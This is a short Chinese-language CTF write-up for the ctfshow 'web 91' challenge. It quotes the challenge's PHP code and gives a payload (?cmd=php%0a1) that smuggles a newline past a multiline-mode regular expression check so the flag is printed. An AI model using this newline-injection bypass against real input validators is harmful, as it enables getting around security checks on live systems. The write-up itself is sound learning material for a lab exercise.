web 91
payload: ?cmd=php%0a1
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
^表示匹配开始,$表示匹配结束
/i 表示匹配的时候不区分大小写;
/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
首先需要匹配到的是一行php,因为有/m,所有可以带换行符,第一次匹配到第一行php就算匹配成功,进行下一轮正则。
就可以放过,进行下一次的匹配,第二次的匹配不带/m所以可以匹配到所有的字符,匹配到的是:
php
11
因此不满足正则条件,下放到else中输出flag
更多推荐
ctfshow web入门 PHP特性学习笔记91
发布评论